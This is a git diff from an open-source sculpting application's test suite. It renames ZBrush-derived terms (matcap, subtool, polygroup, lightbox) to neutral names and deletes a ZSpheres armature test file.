// out of the lists and lookups; loading the same name again brings it back at that index.
- CustomMatcap m;
+ CustomLitSphere m;
m.name = "Removable";
m.size = 16;
m.rgba.assign(16 * 16 * 4, 77);
m.path = "/somewhere/Removable.png";
- const int i = addCustomMatcap(m);
- CHECK(isMatcapListed(i) && findMatcapByPath("/somewhere/Removable.png") == i);
- const uint64_t revision = matcapRevision();
- CHECK(removeCustomMatcap(i) && !removeCustomMatcap(i) && !removeCustomMatcap(0));
- CHECK(matcapRevision() != revision && isCustomMatcap(i) && !isMatcapListed(i));
- CHECK(findMatcap("removable") == -1 && findMatcapByPath(m.path) == -1 && findMatcapByHash(customMatcap(i)->hash) == -1);
- const int count = matcapCount();
- CHECK(addCustomMatcap(m) == i && isMatcapListed(i) && matcapCount() == count);
+ const int i = addCustomLitSphere(m);
+ CHECK(isLitSphereListed(i) && findLitSphereByPath("/somewhere/Removable.png") == i);
+ const uint64_t revision = litsphereRevision();
+ CHECK(removeCustomLitSphere(i) && !removeCustomLitSphere(i) && !removeCustomLitSphere(0));
+ CHECK(litsphereRevision() != revision && isCustomLitSphere(i) && !isLitSphereListed(i));
+ CHECK(findLitSphere("removable") == -1 && findLitSphereByPath(m.path) == -1 && findLitSphereByHash(customLitSphere(i)->hash) == -1);
+ const int count = litsphereCount();
+ CHECK(addCustomLitSphere(m) == i && isLitSphereListed(i) && litsphereCount() == count);
#if !defined(_WIN32) && !defined(__APPLE__)
// The freedesktop trash: the file moves to $XDG_DATA_HOME/Trash/files with a .trashinfo saying where it was.
@@ -458,7 +458,7 @@ TEST(matcap_remove_and_trash) {
#endif
}
-TEST(polypaint_restore_stroke_marks_colors_dirty) {
+TEST(vertexpaint_restore_stroke_marks_colors_dirty) {
// DragRect re-stamps by restoring the stroke first: the reverted colours must reach the GPU.
Document doc = makeDoc(makeIcosphere(3));
Mesh& m = doc.mesh;
diff --git a/tests/test_zspheres.cpp b/tests/test_zspheres.cpp
deleted file mode 100644
index 431529d1..00000000
--- a/tests/test_zspheres.cpp
+++ /dev/null
@@ -1,203 +0,0 @@
-// SculptForge - open source digital sculpting
-// SPDX-License-Identifier: GPL-3.0-or-later
-//
-// ZSpheres (src/core/ZSpheres.cpp): the armature edits and their symmetry, the display mesh, the skin, the
-// zsphere_* commands with undo, and projects.
-#include "TestHarness.h"
-
-#include "core/BVH.h"
-#include "core/Commands.h"
-#include "core/Project.h"
-#include "core/ZSpheres.h"
-
-#include <cmath>
-#include <set>
-
-using namespace sf;
-using glm::vec3;
-
-namespace {
-
-// A small figure: root body, a head above, one arm out to +X mirrored to -X.
-std::vector<ZSphere> figure(Symmetry sym = {true, false, false}) {
- std::vector<ZSphere> s{{vec3(0.0f), 0.5f, -1}};
- zsphereAdd(s, 0, vec3(0, 0.8f, 0), 0.3f, sym);
- zsphereAdd(s, 0, vec3(0.9f, 0.1f, 0), 0.2f, sym);
- return s;
-}
-
-bool watertight(const Mesh& m) {
- std::map<std::pair<uint32_t, uint32_t>, int> edges;
- for (const glm::uvec3& t : m.triangles)
- for (int k = 0; k < 3; ++k) {
- const uint32_t a = t[k], b = t[(k + 1) % 3];
- ++edges[{std::min(a, b), std::max(a, b)}];
- }
- for (const auto& [e, n] : edges)
- if (n != 2) return false;
- return !edges.empty();
-}
-
-} // namespace
-
-TEST(zspheres_symmetric_edits) {
- const auto s = figure();
- // Head on the plane: one sphere. The arm: a sphere and its mirror.
- CHECK(s.size() == 4);
- CHECK(s[1].parent == 0 && std::abs(s[1].center.x) < 1e-6f);
- CHECK(s[2].center.x > 0.0f && s[3].center.x < 0.0f && s[3].parent == 0);
- CHECK(zsphereMirror(s, 2, vec3(-1, 1, 1)) == 3 && zsphereMirror(s, 1, vec3(-1, 1, 1)) == 1);
- CHECK(zspheresValidate(s).empty());
-
- // A hand on the arm: its mirror grows from the mirrored arm.
- auto t = s;
- int hand = -1;
- CHECK(zsphereAdd(t, 2, vec3(1.4f, 0.1f, 0), 0.15f, {true, false, false}, &hand));
- CHECK(hand == 4 && t.size() == 6 && t[5].parent == 3 && std::abs(t[5].center.x + 1.4f) < 1e-6f);
-
- // Moving the arm moves its mirror; the head stays on the plane when dragged across it.
- CHECK(zsphereSet(t, 2, vec3(1.0f, 0.3f, 0.1f), 0.25f, {true, false, false}));
- CHECK(glm::length(t[3].center - vec3(-1.0f, 0.3f, 0.1f)) < 1e-6f && std::abs(t[3].radius - 0.25f) < 1e-6f);
- CHECK(zsphereSet(t, 1, vec3(0.2f, 0.9f, 0), 0.3f, {true, false, false}));
- CHECK(t[1].center.x == 0.0f && std::abs(t[1].center.y - 0.9f) < 1e-6f);
- // Without symmetry only the one sphere moves.
- CHECK(zsphereSet(t, 2, vec3(1.2f, 0.3f, 0.1f), 0.25f, {false, false, false}));
- CHECK(std::abs(t[3].center.x + 1.0f) < 1e-6f);
-
- // Deleting the arm takes the hand, and with symmetry the other arm and hand; indices close up.
- auto d = s;
- zsphereAdd(d, 2, vec3(1.4f, 0.1f, 0), 0.15f, {true, false, false});
- CHECK(zsphereDelete(d, 2, {true, false, false}));
- CHECK(d.size() == 2 && zspheresValidate(d).empty());
- CHECK(!zsphereDelete(d, 0, {true, false, false})); // never the root
- CHECK(!zsphereAdd(d, 7, vec3(0.0f), 0.1f, {})); // bad parent: untouched
- CHECK(d.size() == 2);
-
- // Inserting on a link puts a joint halfway, between the child and its old parent (both sides).
- auto in = s;
- int joint = -1;
- CHECK(zsphereInsert(in, 2, {true, false, false}, &joint));
- CHECK(joint == 4 && in.size() == 6 && in[2].parent == 4 && in[4].parent == 0 && in[3].parent == 5);
- CHECK(glm::length(in[4].center - vec3(0.45f, 0.05f, 0)) < 1e-6f);
- CHECK(zspheresValidate(in).empty());
-}
-
-TEST(zspheres_validate_and_json) {
- const auto s = figure();
- const auto back = zspheresFromJson(zspheresToJson(s));
- CHECK(back.size() == s.size());
- for (size_t i = 0; i < s.size() && i < back.size(); ++i)
- CHECK(back[i].center == s[i].center && back[i].radius == s[i].radius && back[i].parent == s[i].parent);
- std::vector<ZSphere> loop{{vec3(0.0f), 1.0f, -1}, {vec3(1.0f), 1.0f, 2}, {vec3(2.0f), 1.0f, 1}};
- CHECK(!zspheresValidate(loop).empty());
- CHECK(zspheresFromJson(zspheresToJson(loop)).empty());
- CHECK(!zspheresValidate({{vec3(0.0f), 0.0f, -1}}).empty());
- CHECK(!zspheresValidate({{vec3(0.0f), 1.0f, 0}}).empty());
- CHECK(zspheresFromJson(Json::array()).empty());
-}
-
-TEST(zspheres_display_mesh_groups) {
- const auto s = figure();
- const Mesh m = zsphereDisplayMesh(s);
- CHECK(m.zspheres.size() == s.size() && m.colors.size() == m.vertexCount() && m.polygroups.size() == m.triangleCount());
- std::set<uint32_t> groups(m.polygroups.begin(), m.polygroups.end());
- CHECK(groups.size() == s.size() + (s.size() - 1)); // a group per sphere and per link
- bool link = true;
- CHECK(zsphereOfGroup(kZSphereGroup + 3, &link) == 3 && !link);
- CHECK(zsphereOfGroup(kZSphereLinkGroup + 2, &link) == 2 && link);
- CHECK(zsphereOfGroup(0) == -1);
- // A ray at the arm sphere's centre hits the arm sphere's group.
- BVH bvh;
- bvh.build(m);
- RayHit hit;
- CHECK(bvh.raycast(m, vec3(0.9f, 0.1f, 5.0f), vec3(0, 0, -1), hit));
- CHECK(zsphereOfGroup(m.polygroupAt(hit.triangle), &link) == 2 && !link);
-}
-
-TEST(zspheres_skin) {
- const auto s = figure();
- const Mesh skin = zsphereSkin(s, 64, 2);
- CHECK(skin.triangleCount() > 1000 && skin.zspheres.empty());
- CHECK(watertight(skin));
- CHECK(skin.quadCount() * 2 * 10 >= skin.triangleCount() * 9); // (nearly) all quads
- // Covers every sphere: the bounds reach the head top and both hands, give or take a cell.
- const AABB b = skin.bounds();
- const float cell = 2.0f * 1.25f / 64.0f;
- CHECK(std::abs(b.max.y - 1.1f) < 2.0f * cell);
- CHECK(std::abs(b.max.x - 1.1f) < 2.0f * cell && std::abs(b.min.x + 1.1f) < 2.0f * cell);
- // Symmetric across X like the armature.
- CHECK(std::abs(b.max.x + b.min.x) < cell);
- // One polygroup per link.
- std::set<uint32_t> groups(skin.polygroups.begin(), skin.polygroups.end());
- CHECK(groups.size() == s.size() - 1);
- // A lone root is a sphere.
- const Mesh ball = zsphereSkin({{vec3(1, 2, 3), 0.5f, -1}}, 48, 1);
- CHECK(ball.triangleCount() > 0 && watertight(ball));
- float worst = 0.0f;
- for (const vec3& p : ball.positions) worst = std::max(worst, std::abs(glm::length(p - vec3(1, 2, 3)) - 0.5f));
- CHECK(worst < 0.05f);
-}
-
-TEST(zspheres_commands_and_undo) {
- Document doc;
- CommandRegistry reg;
- CHECK(!reg.execute(doc, "zsphere_add", {{"parent", 0.0}, {"position", std::string("1,0,0")}}).ok); // not a ZSphere SubTool
- CHECK(reg.execute(doc, "zsphere_new", {{"radius", 0.5}}).ok);
- CHECK(doc.subtoolCount() == 2 && doc.subtools[1].name == "Forge Sphere" && doc.mesh.zspheres.size() == 1);
- CHECK(reg.execute(doc, "zsphere_add", {{"parent", 0.0}, {"position", std::string("0.9,0,0")}, {"radius", 0.25},
- {"symmetry", std::string("x")}}).ok);
- CHECK(doc.mesh.zspheres.size() == 3);
- CHECK(reg.execute(doc, "zsphere_set", {{"index", 1.0}, {"radius", 0.3}, {"symmetry", std::string("x")}}).ok);
- CHECK(std::abs(doc.mesh.zspheres[2].radius - 0.3f) < 1e-6f);
- CHECK(!reg.execute(doc, "zsphere_delete", {{"index", 0.0}}).ok);
- CHECK(reg.execute(doc, "zsphere_list").message.find("3 spheres") == 0);
-
- // Each edit is one undo step, and undo brings the armature back with the mesh.
- CHECK(doc.undo.undo(doc.mesh, doc.bvh));
- CHECK(std::abs(doc.mesh.zspheres[2].radius - 0.25f) < 1e-6f);
- CHECK(doc.undo.undo(doc.mesh, doc.bvh));
- CHECK(doc.mesh.zspheres.size() == 1);
- CHECK(doc.undo.redo(doc.mesh, doc.bvh) && doc.undo.redo(doc.mesh, doc.bvh));
- CHECK(doc.mesh.zspheres.size() == 3);
-
- // Preview swaps the spheres for the skin and back, keeping the armature.
- const size_t sphereTris = doc.mesh.triangleCount();
- CHECK(reg.execute(doc, "zsphere_preview", {{"on", true}}).ok);
- CHECK(doc.mesh.zspherePreview && doc.mesh.zspheres.size() == 3 && doc.mesh.triangleCount() != sphereTris);
- CHECK(reg.execute(doc, "zsphere_add", {{"parent", 0.0}, {"position", std::string("0,0.7,0")}}).ok);
- CHECK(doc.mesh.zspherePreview && doc.mesh.zspheres.size() == 4); // edits while previewing keep previewing
- CHECK(reg.execute(doc, "zsphere_preview").ok && !doc.mesh.zspherePreview);
-
- // Make Mesh: a new sculptable SubTool below, the ZSphere SubTool hidden and kept.
- CHECK(reg.execute(doc, "zsphere_make_mesh", {{"resolution", 48.0}}).ok);
- CHECK(doc.subtoolCount() == 3 && doc.activeSubtool == 2 && doc.subtools[2].name == "Forge Sphere Mesh");
- CHECK(doc.mesh.zspheres.empty() && watertight(doc.mesh));
- CHECK(!doc.subtools[1].visible && doc.subtoolMesh(1).zspheres.size() == 4);
- CHECK(!reg.execute(doc, "zsphere_make_mesh").ok); // the new mesh is not a ZSphere SubTool
- // keep=false replaces the ZSphere SubTool.
- doc.selectSubtool(1);
- CHECK(reg.execute(doc, "zsphere_make_mesh", {{"resolution", 32.0}, {"keep", false}}).ok);
- CHECK(doc.subtoolCount() == 3 && doc.subtools[doc.activeSubtool].name == "Forge Sphere Mesh 2");
- for (int i = 0; i < doc.subtoolCount(); ++i) CHECK(doc.subtoolMesh(i).zspheres.empty());
-}
-
-TEST(zspheres_project_roundtrip) {
- Document doc;
- CommandRegistry reg;
- CHECK(reg.execute(doc, "zsphere_new").ok);
- CHECK(reg.execute(doc, "zsphere_add", {{"parent", 0.0}, {"position", std::string("0.8,0.2,0")}, {"radius", 0.2},
- {"symmetry", std::string("x")}}).ok);
- CHECK(reg.execute(doc, "zsphere_preview", {{"on", true}}).ok);
- doc.selectSubtool(0); // the ZSphere SubTool saved while inactive too
- const std::string path = tempPath("sf_zspheres.sfproj");
- std::string err;
- CHECK(saveProject(path, doc, err));
- Document back;
- CHECK(loadProject(path, back, err));
- CHECK(back.subtoolCount() == 2 && back.subtoolMesh(0).zspheres.empty());
- const Mesh& z = back.subtoolMesh(1);
- CHECK(z.zspheres.size() == 3 && z.zspherePreview && z.triangleCount() == doc.subtoolMesh(1).triangleCount());
- back.selectSubtool(1);
- CHECK(reg.execute(back, "zsphere_preview", {{"on", false}}).ok && back.mesh.zspheres.size() == 3);
- std::filesystem::remove(path);
-}
diff --git a/tests/ui/ai_provider.sfui b/tests/ui/ai_provider.sfui
index 3900d205..7cc461ba 100644
--- a/tests/ui/ai_provider.sfui
+++ b/tests/ui/ai_provider.sfui
@@ -1,6 +1,6 @@
# Brush Lab's AI provider panel: Free by default, local-model helpers for OpenAI-compatible.
# Brush Lab floats over the canvas, closed until the top shelf's AI Brush opens it.
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar and shelves
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar and shelves
expect_not "Brush Lab/Create"
click "AI Brush"
expect "Brush Lab"
diff --git a/tests/ui/ai_switch.sfui b/tests/ui/ai_switch.sfui
index 85144be0..5cb84aaf 100644
--- a/tests/ui/ai_switch.sfui
+++ b/tests/ui/ai_switch.sfui
@@ -1,6 +1,6 @@
# Preferences > AI > Enable AI features (F5): off, no AI entry point is left on the shelves, in the menus, the
# command palette or scripts, and nothing AI connects; on brings them back. The welcome asks too.
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar and shelves
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar and shelves
run new_sphere subdivisions=2
expect_value ai_enabled == 1
expect "AI Brush"
diff --git a/tests/ui/air_strokes.sfui b/tests/ui/air_strokes.sfui
index b93fc2fd..9a2b58e3 100644
--- a/tests/ui/air_strokes.sfui
+++ b/tests/ui/air_strokes.sfui
@@ -1,5 +1,5 @@
# #62: Preferences > Input > Start strokes off the model (off by default: a drag on the background turns the view).
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar and shelves
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar and shelves
run new_sphere subdivisions=4
key f
camera 0 0
diff --git a/tests/ui/along_normal.sfui b/tests/ui/along_normal.sfui
index 36cd55de..2eddd160 100644
--- a/tests/ui/along_normal.sfui
+++ b/tests/ui/along_normal.sfui
@@ -2,7 +2,7 @@
# surface along the average normal under the brush instead of across the screen. A drag up and to the right on the
# sphere's right side: plainly it moves up as much as out; with Alt it only moves out. Preferences > Input > Along
# the normal: Always does it without the key, Never turns it off.
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar and shelves
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar and shelves
run new_sphere subdivisions=5
camera 0 0
click "Move##brush.move"
diff --git a/tests/ui/alpha_options.sfui b/tests/ui/alpha_options.sfui
index 3ba7c9a1..1e7cd11a 100644
--- a/tests/ui/alpha_options.sfui
+++ b/tests/ui/alpha_options.sfui
@@ -1,7 +1,7 @@
# #76: alpha options in the Alpha palette. Follow stroke direction turns the alpha along the stroke (Blender's Rake
# smoothing), Angle adds a fixed turn, Tile repeats the alpha in the dab; all kept per brush (#78), and custom
# (recipe) brushes turn their alpha the same way.
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar and shelves
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar and shelves
run new_sphere subdivisions=4
key f
click "Standard##brush.standard"
diff --git a/tests/ui/alternate_smooth.sfui b/tests/ui/alternate_smooth.sfui
index 10f48a1d..9479b271 100644
--- a/tests/ui/alternate_smooth.sfui
+++ b/tests/ui/alternate_smooth.sfui
@@ -1,7 +1,7 @@
-# Alternate smooth (#40, ZBrush): a stroke begun with Shift held smooths plainly (the sphere shrinks under it);
+# Alternate smooth (#40, classic): a stroke begun with Shift held smooths plainly (the sphere shrinks under it);
# letting go of Shift while still pressing switches to the smooth that keeps the volume for the rest of the
# stroke. Brush > Smooth keeps volume makes that the Shift smooth, and letting go then switches to the plain one.
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar and shelves
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar and shelves
run new_sphere subdivisions=5
expect_value smooth_keep_volume == 0
snapshot
diff --git a/tests/ui/backface_culling.sfui b/tests/ui/backface_culling.sfui
index a4534acc..3c32445f 100644
--- a/tests/ui/backface_culling.sfui
+++ b/tests/ui/backface_culling.sfui
@@ -1,6 +1,6 @@
# Backface culling (#68): Tool > Display > Backface culling skips the back faces of every Part, also on open meshes
# (which otherwise draw both sides). Off by default. Brushes then work only on faces that are drawn.
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar and shelves
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar and shelves
run new_plane resolution=64
expect_value backface_culling == 0
camera 0 -60
diff --git a/tests/ui/background.sfui b/tests/ui/background.sfui
index 47fbc689..3353fc5e 100644
--- a/tests/ui/background.sfui
+++ b/tests/ui/background.sfui
@@ -1,6 +1,6 @@
# The view's background (#21): Gradient (the default) or Flat Colour with a colour picker, in Preferences > Display
# and the Render palette; kept by Store Config and in projects, and scriptable (set_background).
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar and shelves
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar and shelves
run new_head
camera 20 5
key f
diff --git a/tests/ui/bake.sfui b/tests/ui/bake.sfui
index 57ba6e70..4ce2006f 100644
--- a/tests/ui/bake.sfui
+++ b/tests/ui/bake.sfui
@@ -3,31 +3,31 @@
# the low-poly. After baking, the source is hidden so the shots show the high-poly (left) next to the low-poly
# wearing its baked normal map (right).
run new_sphere subdivisions=5
-run subtool_rename to=High
-run subtool_append type=sphere size=1 name=Source
+run part_rename to=High
+run part_append type=sphere size=1 name=Source
run subdivide levels=2
-run subtool_select name=High
+run part_select name=High
run subdivide levels=2
-# The same strokes on both spheres (the source sits 2.2 units to the right); strokes go to the active SubTool.
+# The same strokes on both spheres (the source sits 2.2 units to the right); strokes go to the active Part.
run stroke brush=Crease points="-0.6,0.35,1 0,0.55,1 0.6,0.35,1" radius=0.07 strength=1
run stroke brush=Inflate points="-0.35,-0.3,1" radius=0.3 strength=1
run stroke brush=Clay points="0.25,-0.5,1 0.55,-0.05,1" radius=0.1 strength=1
run stroke brush=Crease invert=true points="-0.75,-0.1,1 -0.45,-0.65,1" radius=0.05 strength=1
run stroke brush=Standard points="-0.2,0.05,1 0.2,0.1,1" radius=0.06 strength=1 invert=true
-run subtool_select name=Source
+run part_select name=Source
run stroke brush=Crease points="1.6,0.35,1 2.2,0.55,1 2.8,0.35,1" radius=0.07 strength=1
run stroke brush=Inflate points="1.85,-0.3,1" radius=0.3 strength=1
run stroke brush=Clay points="2.45,-0.5,1 2.75,-0.05,1" radius=0.1 strength=1
run stroke brush=Crease invert=true points="1.45,-0.1,1 1.75,-0.65,1" radius=0.05 strength=1
run stroke brush=Standard points="2.0,0.05,1 2.4,0.1,1" radius=0.06 strength=1 invert=true
# The low-poly: a decimated copy of the source with automatic UVs.
-run subtool_duplicate
-run subtool_rename to=Low
+run part_duplicate
+run part_rename to=Low
run decimate triangles=2000
run uv_auto resolution=2048
expect_value uvs == 1
expect_value triangles <= 2000
-expect_value subtools == 3
+expect_value parts == 3
key f
# The Bake sub-palette, with the source picked and three maps ticked.
@@ -56,8 +56,8 @@ expect_text "Displacement: mid-grey = 0"
expect_no_text "found no surface"
# Hide the source: the high-poly (left) next to the baked low-poly (right).
-run subtool_visibility name=Source visible=false
-expect_value visible_subtools == 2
+run part_visibility name=Source visible=false
+expect_value visible_parts == 2
expect_value normal_map_preview == 1
shot high-and-baked-low
# From an angle: the silhouette stays low-poly, the shading carries the sculpted detail.
diff --git a/tests/ui/bake_levels.sfui b/tests/ui/bake_levels.sfui
index 719438cf..c80f4ab0 100644
--- a/tests/ui/bake_levels.sfui
+++ b/tests/ui/bake_levels.sfui
@@ -4,7 +4,7 @@
run new_sphere subdivisions=3
run uv_auto resolution=1024
expect_value uvs == 1
-run polygroup_uv
+run facegroup_uv
run subdiv_divide
run subdiv_divide
expect_value sdiv_levels == 3
diff --git a/tests/ui/blender_bridge.sfui b/tests/ui/blender_bridge.sfui
index 7faca3ab..50a66be5 100644
--- a/tests/ui/blender_bridge.sfui
+++ b/tests/ui/blender_bridge.sfui
@@ -1,15 +1,15 @@
# The Blender bridge (File > Blender): what the add-on sends loads by itself (checked every frame in UI tests,
-# once a second in the app), Send to Blender writes the SubTools back, and a second send from Blender updates
-# the SubTool it came from (undoable) and adds the new object. The sends are staged from tests/ui/data/blender
+# once a second in the app), Send to Blender writes the Parts back, and a second send from Blender updates
+# the Part it came from (undoable) and adds the new object. The sends are staged from tests/ui/data/blender
# into an exchange folder in the working directory (the build folder under ctest).
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar and shelves
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar and shelves
run new_sphere subdivisions=3
env SCULPTFORGE_BLENDER_EXCHANGE sf_ui_blender
copy data/blender/send1 sf_ui_blender/to_sculptforge
wait 0.2
expect_status "Received 2 objects from Blender"
-expect_value subtools == 2
-expect_value active_subtool == 0
+expect_value parts == 2
+expect_value active_part == 0
expect_text Box
expect_text Rock
expect_value colored > 0
@@ -36,7 +36,7 @@ expect_status "Sent 2 objects to Blender"
copy data/blender/send2 sf_ui_blender/to_sculptforge
wait 0.2
expect_status "Received 2 objects from Blender"
-expect_value subtools == 3
+expect_value parts == 3
expect_text Pebble
expect_value can_undo == 1
shot updated
diff --git a/tests/ui/blender_keys.sfui b/tests/ui/blender_keys.sfui
index 57e8cdd8..a9026c7e 100644
--- a/tests/ui/blender_keys.sfui
+++ b/tests/ui/blender_keys.sfui
@@ -1,12 +1,12 @@
# The Blender input style (#12): Preferences > Input > Blender, middle-drag navigation and Alt+left-drag for pens,
# the numpad views (orthographic until turned), Blender's sculpt-mode brush letters, F / Shift+F, Ctrl to invert,
# M for the Mask brush, H / Shift+H / Alt+H, Alt+1 / Alt+2, Emulate Numpad, the Controls window, a keymap
-# exported from Blender, and back to the ZBrush style with its keys intact.
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar and shelves
+# exported from Blender, and back to the classic with its keys intact.
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar and shelves
run new_sphere subdivisions=4
-# New installs start with the SculptForge keys; this script is about the ZBrush-style ones.
+# New installs start with the SculptForge keys; this script is about the classic ones.
expect_value input_style == 1
-input_style zbrush
+input_style classic
expect_value input_style == 0
expect_value shortcut_conflicts == 0
# The numpad views work in every style.
@@ -208,7 +208,7 @@ key m
key s
expect_value mask_brush == 0
-# --- H hides the polygroup under the cursor, Shift+H shows only it, Alt+H shows everything ---
+# --- H hides the face group under the cursor, Shift+H shows only it, Alt+H shows everything ---
key v
key m
stroke 0.0 0.3 1.0 0.3
@@ -264,7 +264,7 @@ click "Mouse & pen"
expect_text Middle drag
shot controls-blender
# The style row in Controls switches too.
-click "Classic sculpting keys##input.style_zbrush"
+click "Classic sculpting keys##input.style_classic"
expect_value input_style == 0
expect_text Alt + click it
key f1
@@ -285,14 +285,14 @@ expect_value brush_type == 0
key shift+q
expect_value brush_type == 9
-# --- Back to ZBrush: its keys and gestures are as they were (the imported keys stay until Restore Standard UI) ---
+# --- Back to its keys and gestures are as they were (the imported keys stay until Restore Standard UI) ---
click "Preferences##palette.preferences"
click "Config##preferences.config"
click "Restore Standard UI##config.restore_standard"
expect_value shortcut_conflicts == 0
expect_shortcut brush.standard V
key f1
-click "Classic sculpting keys##input.style_zbrush"
+click "Classic sculpting keys##input.style_classic"
key f1
expect_value input_style == 0
expect_value shortcut_conflicts == 0
diff --git a/tests/ui/brush_falloff_options.sfui b/tests/ui/brush_falloff_options.sfui
index e157f2fd..dd162b4b 100644
--- a/tests/ui/brush_falloff_options.sfui
+++ b/tests/ui/brush_falloff_options.sfui
@@ -2,7 +2,7 @@
# the piece under the cursor (a small ball pressed into a big one: only the ball moves), View falloff reaches
# through the model along the view (the back of the sphere moves too). Both are in the Brush palette and saved
# with the preferences.
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar and shelves
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar and shelves
run new_sphere subdivisions=5
run insert_primitive type=sphere x=0 y=0 z=1 nx=0 ny=0 nz=1 size=0.5
camera 0 0
diff --git a/tests/ui/brush_gallery.sfui b/tests/ui/brush_gallery.sfui
index acc1598c..8265af15 100644
--- a/tests/ui/brush_gallery.sfui
+++ b/tests/ui/brush_gallery.sfui
@@ -1,7 +1,7 @@
# Community brushes: browse a gallery (the seed content in tools/brush-gallery/repo, read from disk the way a
# studio mirror would be), search it, filter by tag, install a brush and see it in the library; then a
# gallery that can't be reached shows a clear error instead of an empty window.
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar and shelves
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar and shelves
env SCULPTFORGE_BRUSH_GALLERY $SCRIPT_DIR/../../tools/brush-gallery/repo
expect_value brushes == 7
click "Brush##palette.brush"
diff --git a/tests/ui/brush_settings.sfui b/tests/ui/brush_settings.sfui
index 37e0de11..059c74d5 100644
--- a/tests/ui/brush_settings.sfui
+++ b/tests/ui/brush_settings.sfui
@@ -1,7 +1,7 @@
# #78: every brush keeps its own Draw Size, Z Intensity, alpha... Picking another brush and coming back brings its
# values back; Save Brush Settings keeps them for the next start; Reset Brush to Default puts back the shipped ones;
# Preferences > Input > Share size and intensity across brushes keeps size and intensity as before.
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar and shelves
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar and shelves
run new_sphere subdivisions=3
key f
click "Standard##brush.standard"
diff --git a/tests/ui/brush_sharing.sfui b/tests/ui/brush_sharing.sfui
index 814aeedf..9f52f387 100644
--- a/tests/ui/brush_sharing.sfui
+++ b/tests/ui/brush_sharing.sfui
@@ -1,7 +1,7 @@
# Brush sharing: brushes refined in Brush Lab are saved to the library, shared as a brush code
# (right-click > Copy brush code), deleted, and pasted back with Ctrl+V or Brush Lab's Paste brush.
# UI tests get an empty library of their own in --ui-out/brush-library.
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar and shelves
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar and shelves
expect_value user_brushes == 0
expect_value library_files == 0
# The Brush palette (with the custom brushes) goes into the right tray; Brush Lab opens from the top shelf.
diff --git a/tests/ui/builtin_presets.sfui b/tests/ui/builtin_presets.sfui
index 9cd3b2a1..5ab2af0e 100644
--- a/tests/ui/builtin_presets.sfui
+++ b/tests/ui/builtin_presets.sfui
@@ -1,15 +1,15 @@
# #43: twelve more built-in alphas and six more VDM brushes, made in code at first use, with thumbnails in the
-# LightBox (Alpha and Brush tabs) and in the Alpha picker; a double-click uses one.
+# Library (Alpha and Brush tabs) and in the Alpha picker; a double-click uses one.
run new_sphere subdivisions=5
key ,
-expect_value lightbox_open == 1
+expect_value library_open == 1
click "Library/Alpha"
expect "Library/Round"
expect "Library/Pores"
expect "Library/Cracks"
expect "Library/Fabric Weave"
wait_idle 60
-shot lightbox_alphas
+shot library_alphas
# The rest are further along the strip; the filter finds them.
type "Library/##lbfilter" hair
expect "Library/Hair Strands"
@@ -23,7 +23,7 @@ expect "Library/Bark"
type "Library/##lbfilter" grid
expect "Library/Dot Grid"
wait_idle 60
-shot lightbox_alphas_filtered
+shot library_alphas_filtered
type "Library/##lbfilter" crack
double_click "Library/Cracks"
expect_status Alpha 'Cracks'
@@ -40,7 +40,7 @@ expect "Library/Rock Ledge"
type "Library/##lbfilter" line
expect "Library/Wrinkle Line"
wait_idle 60
-shot lightbox_vdms
+shot library_vdms
type "Library/##lbfilter" fold
expect "Library/Skin Fold"
type "Library/##lbfilter" rivet
@@ -48,4 +48,4 @@ double_click "Library/Rivet"
expect_status VDM 'Rivet'
expect_value brush_type == 14
key ,
-expect_value lightbox_open == 0
+expect_value library_open == 0
diff --git a/tests/ui/zbrush_feel.sfui b/tests/ui/classic_feel.sfui
similarity index 84%
rename from tests/ui/zbrush_feel.sfui
rename to tests/ui/classic_feel.sfui
index 5b7f22aa..cb1da4b2 100644
--- a/tests/ui/zbrush_feel.sfui
+++ b/tests/ui/classic_feel.sfui
@@ -1,15 +1,15 @@
-# The ZBrush-style keys (docs/guide/coming-from-zbrush.md): U / I / O at the cursor, Smooth's own Z Intensity, ZBrush's brush
+# The Classic sculpting keys (docs/guide/quick-tour.md): U / I / O at the cursor, Smooth's own Z Intensity, the classic brush
# letters, L, V, Space QuickMenu, the mask keys (Ctrl+A, Ctrl+Shift+A, Ctrl+I, Ctrl+H), Ctrl+click to blur and
# Ctrl+Alt+click to sharpen the mask, Ctrl+W, Ctrl+Shift+click on a partly hidden mesh, Shift-constrained
-# straight strokes, Shift+click / release Shift / drag to roll, and the ZBrush / SculptForge input styles.
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar and shelves
+# straight strokes, Shift+click / release Shift / drag to roll, and the classic / SculptForge input styles.
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar and shelves
run new_sphere subdivisions=5
-# New installs start with the SculptForge keys; this script is about the ZBrush-style ones.
+# New installs start with the SculptForge keys; this script is about the classic ones.
expect_value input_style == 1
-input_style zbrush
+input_style classic
expect_value input_style == 0
